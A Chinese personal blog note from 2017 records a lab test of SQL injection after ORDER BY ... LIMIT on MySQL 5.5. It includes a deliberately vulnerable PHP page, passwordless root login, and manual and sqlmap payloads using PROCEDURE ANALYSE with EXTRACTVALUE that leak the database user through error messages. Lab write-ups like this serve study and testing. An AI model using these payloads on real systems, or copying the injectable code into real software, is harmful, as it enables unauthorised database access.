Mysql≤5.5Limit后注入测试笔记

作者: Luan 分类: 学习笔记 发布时间: 2017-04-04 20:43

前几天网上看文章学习到的,今天自己实践记录下。

在Kali里面自带了很多东东,比如mysql和Apache,很方便
Mysql server version: 5.5.44-0+deb8u1 (Debian)
执行命令启动他们:
/etc/init.d/apache2 start
/etc/init.d/mysql start

放个测试的php网页:

/var/www/html/luan.php

<?php
@$link= mysql_connect("localhost","root","");
mysql_select_db("mysql",$link);
$sql= "SELECT * FROM user where user='root' ORDER BY user limit {$_GET['p']}, 10";
echo $sql . '<br>';
mysql_query($sql);
echo mysql_errno() . ": " . mysql_error(). " ";
?>

用kali里面自带的sqlmap可以注入。

是个比较特殊的注入,mysql版本还必须低于5.6才可以。

用我以前打包进工具包里的sqlmap测试:

果然老版本的不够完善。于是我去sqlmap官网下载了最新版(首页下的应该是最新吧)

顺便放到了自己博客,方便以后下载:

http://lu4n.com/security-tools/download/web/sqlmap.zip

测试下果然可以了。

而且看样子新版本的sqlmap支持的注入类型比老版本多很多。

另外下载下来的新版本的sqlmap里面。

有sqlmapapi.py,我以前不知道哪儿找的sqlmap里面就没有sqlmapapi.py。

不知道我以前是下了哪个傻屌发出来的阉割版。

 

ORDER BY xx limit 后注入在Mysql5.5上测试可行:

手工:

http://192.168.198.135/luan.php?p=1 procedure analyse(extractvalue(1,concat(0x3a,user())),1)%23

 

SELECT * FROM user where user=’root’ ORDER BY user limit 1 procedure analyse(extractvalue(1,concat(0x3a,user())),1)#, 10
1105: XPATH syntax error: ‘:root@localhost’

sqlmap:

http://192.168.198.135/luan.php?p=1 PROCEDURE ANALYSE(EXTRACTVALUE(2622,CONCAT(0x5c,0x716b6b6a71,(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,21)),0x7162767171)),1)– pDYc

 

SELECT * FROM user where user=’root’ ORDER BY user limit 1 PROCEDURE ANALYSE(EXTRACTVALUE(2622,CONCAT(0x5c,0x716b6b6a71,(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,21)),0x7162767171)),1)– pDYc, 10
1105: XPATH syntax error: ‘\qkkjqroot@localhostqbvqq’

 

语句都一样,是analyse + extractvalue来实现报错注入,也可以延时注入。

在mysql5.6.17上面测试发现不行了。

报错如下:

SELECT * FROM user where user=’root’ ORDER BY user limit 1,1 procedure analyse(extractvalue(1,concat(0x3a,version())),1)#, 10
1064: Erreur de syntaxe pr鑣 de ‘extractvalue(1,concat(0x3a,version())),1)#, 10’ � la ligne 1

使用最新版的sqlmap也是不行的,老版本的更不用说了。

如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!

发表评论

电子邮件地址不会被公开。 必填项已用*标注